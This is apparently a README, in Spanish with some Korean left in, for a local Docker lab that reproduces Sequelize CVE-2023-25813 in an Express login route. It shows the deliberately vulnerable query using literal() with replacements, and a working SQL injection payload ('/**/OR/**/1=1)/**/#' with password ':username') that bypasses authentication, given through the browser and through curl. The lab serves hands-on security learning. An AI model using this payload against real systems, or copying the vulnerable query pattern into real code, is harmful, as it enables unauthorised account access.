
Implementación de vulnerabilidad Sequelize Sql Injection
Esta es una aplicación de práctica Express + MySQL para verificar el comportamiento de Sequelize CVE-2023-25813 localmente.
Este proyecto mantiene intencionalmente una versión vulnerable de Sequelize y un patrón de consulta de inicio de sesión vulnerable. No lo exponga a Internet; ejecútelo solo en un entorno de práctica local con Docker.
localhost:3307localhost:3000Características principales:
Se utiliza el archivo .env. Consulte .env.example para ver un ejemplo.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Al ejecutar con Docker, el contenedor de la aplicación utiliza el servicio db dentro de Compose, no el MySQL local.
Desde el contenedor de la aplicación: DB_HOST=db
Desde el PC anfitrión: Puerto de conexión a BD = 3307
Encienda Docker Desktop y ejecute en PowerShell.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Acceda en el navegador:
http://localhost:3000
Verificar estado:
docker compose ps
docker compose logs app --tail 50
Detener:
docker compose down
Inicializar también los datos de la BD:
docker compose down -v
Para conectarse directamente a MySQL dentro de Docker:
docker compose exec db mysql -uroot -p cve_test_db
La contraseña es el valor de DB_PASSWORD en .env.
En herramientas GUI como Workbench, conéctese con los siguientes valores:
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db
Si la base de datos está creada, en los registros de la aplicación aparecerán mensajes como estos:
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
Al iniciar la aplicación, se crea automáticamente una cuenta admin con los valores de .env.
Valores predeterminados:
아이디: admin
비밀번호: admin
Al iniciar sesión, se muestra la cuenta actual conectada en la parte superior de la página principal.
현재 접속 계정: admin
En el navegador, vaya a /login y luego:
아이디: admin
비밀번호: admin
Si tiene éxito, será redirigido a / y verá la cuenta actual conectada en la página principal.
Para verificar con curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Criterio de éxito:
HTTP/1.1 302 Found
Location: /
En el navegador, vaya a /login e ingrese los siguientes valores:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Si tiene éxito, será redirigido a / en lugar de /login?error=invalid. La cuenta actual conectada en la página principal también se mostrará como el usuario que inició sesión.
Verificar con curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Criterio de éxito:
HTTP/1.1 302 Found
Location: /
El código vulnerable se encuentra en la ruta de inicio de sesión.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
Si el inicio de sesión es normal, el SQL tendría aproximadamente esta forma:
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
El problema es mezclar literal('username = :username'), { password } y replacements en la misma consulta. En Sequelize 6.19.0, replacements se aplica a toda la consulta, por lo que :username dentro del valor password ingresado por el usuario también puede ser reemplazado.
El payload de práctica se ingresa así:
username = /**/OR/**/1=1)/**/#
password = :username
En ese momento, la consulta real se ve aproximadamente así en los registros:
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Significado de cada parte:
password=:username: Es el núcleo que hace que el reemplazo de username ocurra nuevamente en el campo de contraseña./**/: Es un bloque que MySQL trata como comentario. Actúa como un espacio, por lo que incluso si se eliminan los espacios alrededor de OR, los tokens SQL se separan.OR 1=1: Agrega una condición que siempre es verdadera.): Cierra el grupo de condiciones AND(...) creado por Sequelize.#: Es un comentario de una línea en MySQL. Comenta el resto de la línea, incluyendo las comillas restantes y los fragmentos alrededor de LIMIT 1, evitando errores de sintaxis.Como resultado, la condición siempre es verdadera, se obtiene la primera fila de usuario y la aplicación lo trata como un inicio de sesión exitoso.
Los payloads que dependen de espacios, como el siguiente, pueden fallar si los espacios iniciales/finales se eliminan durante la entrada en el navegador:
OR 1=1) --
El comentario -- de MySQL requiere un espacio después. Si falta el espacio, no se reconoce como comentario y se produce un error de sintaxis.
En este proyecto se recomienda el siguiente payload:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Al ejecutar con Docker, la BD se crea en el contenedor db de Docker, no en el servidor MySQL local. Para verla desde el PC anfitrión, conéctese a localhost:3307.
Es normal. Esta aplicación mantiene una versión vulnerable de Sequelize para la práctica de CVE.
Ejecutar npm audit fix podría eliminar la vulnerabilidad objetivo de la práctica.